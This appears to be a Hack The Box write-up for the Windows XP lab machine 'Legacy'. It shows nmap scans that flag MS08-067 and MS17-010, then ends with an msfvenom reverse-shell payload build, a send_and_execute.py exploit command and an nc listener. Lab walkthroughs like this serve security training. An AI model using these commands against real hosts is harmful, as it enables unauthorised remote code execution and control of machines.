Hello guys,
Today I am going to practice to take down one simple box from Hack The Box. The machine name is called Legacy and it’s a window machine.
Since we already have the machine IP address, let’s check what ports are open and what services are running..
nmap -sC -sV 10.10.10.4 -Pn
Nmap scan report for 10.10.10.4 PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
nmap -sC -sV -p139,445 10.10.10.4 -o nmap.log -Pn
# Nmap 7.80 scan initiated Tue Oct 20 22:35:12 2020 as: nmap -sC -sV -p139,445 -o nmap.log -Pn 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: 5d00h59m39s, deviation: 1h24m50s, median: 4d23h59m39s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:14:c6 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2020-10-25T21:05:00+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 20 22:36:13 2020 — 1 IP address (1 host up) scanned in 60.84 seconds
nmap –script smb-vuln* -o nmap_smb_vul.log -Pn 10.10.10.4
# Nmap 7.80 scan initiated Tue Oct 20 22:40:53 2020 as: nmap –script smb-vuln* -o nmap_smb_vul.log -Pn 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
# Nmap done at Tue Oct 20 22:41:22 2020 — 1 IP address (1 host up) scanned in 29.01 seconds
git clone
cd
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=1234 EXITFUNC=thread -f exe -a x86 –platform windows -o ms17-010.exe
python send_and_execute.py 10.10.10.4 ms17-010.exe
nc -lvp 1234 (Kali)
